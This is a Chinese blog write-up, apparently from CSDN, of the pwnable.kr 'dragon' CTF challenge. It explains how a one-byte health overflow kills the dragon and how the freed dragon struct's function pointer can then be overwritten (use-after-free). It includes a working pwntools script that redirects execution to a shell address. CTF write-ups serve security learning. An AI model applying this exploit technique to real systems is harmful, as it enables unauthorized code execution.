pwnable dragon

借着这段时间学UAF,又找了一道UAF的题目做了一下,这个题目很简单,看着WP写的,思路也非常的清晰。

题目地址:
nc pwnable.kr 9004
题目下载:
http://pwnable.kr/bin/dragon

0x01 简单分析

这题是让我们打龙,首先利用IDA查看龙的相关信息
这里写图片描述
上面是两个龙的结构体

又发现了一个神秘关卡
这里写图片描述

里面有要获取的shell

发现在杀死龙之后会释放龙内存,同时也会重新申请相同大小的内存进行写入而且偏移量正好是龙结构体的函数指针处。这样我们就能利用UAF(释放重利用)控制整个程序流。下面第一个难题是怎样杀死一条龙。

0x02 屠龙

Priest
这里写图片描述
Knight
这里写图片描述

我们发现如果是直接想把龙打死是不可能的但是我们发现了一个技能Priest的3技能
可以是龙的回升.同时发现大龙的血是80 一个字节127可以使其溢出,从而把大龙打死。

0x03 编写exp

from pwn import *
sh = remote('pwnable.kr',9004) #process('./dragon')


def killself(sh):
    for i in range(0,3):
        sh.send('1'+'\n')
def killdragon(sh):
    for i in range(0,4):
        sh.send('3'+'\n')
        sh.send('3'+'\n')
        sh.send('2'+'\n')       


killself(sh)
sh.send('1'+'\n')
killdragon(sh)
sh.send(p32(0x08048DBF))
sh.interactive()

这里写图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值